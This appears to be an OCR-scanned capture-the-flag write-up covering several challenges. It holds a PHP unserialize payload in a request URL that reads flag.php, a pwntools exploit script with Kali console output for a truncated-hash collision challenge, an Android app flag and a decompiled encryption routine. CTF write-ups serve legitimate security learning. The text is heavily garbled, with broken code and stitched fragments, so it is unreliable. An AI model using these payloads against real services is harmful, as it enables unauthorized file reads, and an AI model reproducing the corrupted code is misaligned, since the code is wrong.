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public $file;
public function __ tostring(){
if(isset($this->file)){

echo file_get_ contents($this->file);
echo "<br>";
return ("HAHAHAHAHA");

?>
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view-source:http://172.16.0.102:54321/JgJUfyWlwT/?text=data://text/plain;base64,d2VsY29tZSBObyBOaGUgempjdGY=&fil

e=useless.php&password=0:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
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#!/usr/bin/env python
# -*- coding: utf-8 -*-

author__ = 'seclab'
copyright = 'Copyright © 2019/08/20, seclab‘’

import hashlib, random, signal

def truncated_hash(message, k):
return hashlib.sha512(message).digest()[-k:]

floyd(code, k=3):

mo = None

ml = None

turtle = truncated_hash(code, k)
hare = truncated_hash(turtle, k)

while turtle != hare:
turtle = truncated_hash(turtle, k)
hare = truncated_hash(truncated_hash(hare, k), k)

turtle = code

pre_period_length = 0

while turtle != hare:
mo = turtle
turtle = truncated _hash(turtle, k)
hare = truncated_hash(hare, k)
pre_period_length += 1

if pre_period_length is ©:
print(code, "Failed to find a collision: code was in a cycle!")
return floyd(get_random_code())

period_length = 1
hare = truncated_hash(turtle, k)
while turtle != hare:




hare = truncated_hash(hare, k)
period_length += 1
return (m@, ml, truncated hash(mo, k), k)

get _random_code(length=3):

char_set = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"

pw = ""

for i in range(length):
next_index = random.randrange(len(char_set))
pw = pw + char_set[next_index]

return pw

def welcom():
signal.alarm(5)

print(
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welcom()
flag = open('./flag', 'r').read()

code = get_random_code()
m@, ml, code, k = floyd(code)

print("Your m@ is:{:s}".format(m@.encode("hex")))
ml = raw_input("Please input ml:").rstrip(“\n")

try:
ml = ml.decode("hex")
if (m@ !'= ml) and (truncated_hash(m@, k) == truncated_hash(mi, k)):
print(flag)
exit(1)
except Exception as e:
pass

print("Fail, bye!")
exit(1)

if _name__ == "_main__":

main()
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def get random_code(length=3):
char_set = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
pw = ""
for i in range(length):
next_index = random.randrange(len(char_set))
pw = pw + char_set[next_index]

return pw
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import hashlib, random
def truncated_hash(message, k):
return hashlib.sha512(message).digest()[-k:]
def get random_code(length=3):
char_set = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
pw = ""
for i in range(length):
next_index = random.randrange(len(char_set))
pw = pw + char_set[next_index]
return pw
floyd(code, k=3):
mo None
ml \[e]g]<]
turtle = truncated_hash(code, k)
hare = truncated_hash(turtle, k)

while turtle != hare:
turtle = truncated_hash(turtle, k)
hare = truncated_hash(truncated_hash(hare, k), k)

turtle = code

pre_period_length = @

while turtle != hare:
mo = turtle
turtle = truncated_hash(turtle, k)
hare = truncated_hash(hare, k)
pre_period_length += 1

if pre_period_length is ©:
print(code, "Failed to find a collision: code was in a cycle!")
return floyd(get_random_code())

period_length = 1
hare = truncated_hash(turtle, k)
while turtle != hare:
= hare
hare = truncated_hash(hare, k)
period_length += 1
return (m@, ml, truncated_hash(mo, k), k)
tcode = get random_code()
Hprint(code)
#mo@, ml, code, k = floyd(code)
, ml, code, k)




for j in table:

for k in table:

code.append(i+j+k)

med, mll, codel, k = floyd(i+j+k)
mo.append(moo)
ml.append(mil)

=open("shuju.txt",'a")

for i in range(len(m@)):
f.write(m@[i].encode("hex")+":"+m1[i].encode("hex")+",\n")
f.write("}")
.close()

R —TAERKFR, RERBUKRS SR ERMO, XHEMNFHRPEIMT, RiESGRSHEAE2flag

dict={}

from pwn import *

Htcontext.log level ="debug"
sh=remote("172.16.0.103",10011)
sh.recvuntil("is:")

cryptol = sh.recvline()[:-1]
print("~~~~:",cryptol)

sendml=dict[cryptol]
print("sendml",sendml)
sh.recvuntil("m1:")

sh.sendline(sendml)

sh.interactive()
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('NLZ', 'Failed a collis - code w i cycle!')
('Sv]', 'Failed - code w i cycle!')
('TIK', 'Failed : code was 1 cycle!')
, 'Failed : code was 1 cycle!')
'Failed collision: code was i cycle!")

root@kali:~/linshi# python exp.py
[+] Opening connection to 172.16.8.103 on port 10011:
, '7b3701"')
raceback (most recent call last):
File "exp.py", line 17586, in <module>
sendml=dict[cryptol]
eyError: '7b37e1'
[*] Closed connection to 172.16.0.103 port 10011
root@kali:~/linshi# python exp.py
[+] Opening connection to 172.16.8.103 on port 10011:
, 'bfd3b9')
('sendml', 'a3ba76')
[#] Switching to interactive mode
ZICTF{w3lcome t® floyd colliBion}
[#] Got EOF while reading in interactive
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package com.example.hismali;

import an
import
import
import
import
import an

public class Mainkctivity extends Rcoctivity {
Button by
static int i = 1;

exXTView tv:

static {

}

public MainRetivity () [
super():

}

protected woid onCreate {Bundle arg2) |
super.onCreate (arg2) ;
this.setContentView (2131034112} ;
this.b = this.findViewById(2130968578);
this.tv = this.findViewById (2130968596
this.b.setOnClickListener (new ViewsOnClickLiastener() [
public woid onClick(Vi arg2) |
if [MainRctivity. 1) {
MainActivity.this. tv.setText (" Flag i fEiZ") s
}
else if (Mainkectivity.i == 2) {
Mainfctivity.this. tv.setText (MyJni.getFlag())r
}
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uncompyle6 encrypt.pyo > encrypt.py

83 Kencrypt.pylEid A

# uncompyle6 version 3.3.5

#t Python bytecode 2.7 (62211)

# Decompiled from: Python 2.7.15+ (default, Nov 28 2018, 16:27:22)
i [GCC 8.2.0]

#t Embedded file name: encrypt.py

# Compiled at: 2017-07-11 ©5:19:27

from random import randint

[from math import floor, sqrt

=l ord(__) for ___ in __ ]
= randint(65, max(___)) * 255
___in range(len(_)):
_ += str(int(floor(float(  + [ 1)/ 2+ sgrt(_____ *  [__ 1)) % 255)) + '

print _

# okay decompiling encrypt.pyo
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from random import randint
from math import floor, sqrt
getflag = "'
-Flag = '-Flag{****************}'
b [ ord(i) for i in flag ]
2 = randint(65, max(b)) * 255
for i in range(len(flag)):

getflag += str(int(floor(float(a + b[i]) / 2 + sqrt(a * b[i])) % 255)) + ' '
print getflag
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from random import randint
from math import floor, sqrt
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz0123456789+/{}"
b = [ ord(i) for i in table ]
a = 102*255
dic=[]
for i in range(len(table)):
dic.append(int(floor(float(a + b[i]) / 2 + sqrt(a * b[i])) % 255))
for i in range(len(dic)):
print(table[i],":",dic[i])
print(dic)

Desktop » buu crypto
rom random import randint
rom math import floor, sgrt

table = 'ABCDEFGHIJKLMNOPQRSTUWWXYZabcdefghijklmnopgrstuvwxyz@12345
b =[ ord{(i) for i table ]
a = 182*255
dic=[]]
for i range(len(table)):
dic.append(int(floor(float(a + b[i]) / 2 + sgrt{a * b[i])) % 255))
for i range(len(dic)):
(table[i],":",dic[i])
(dic)
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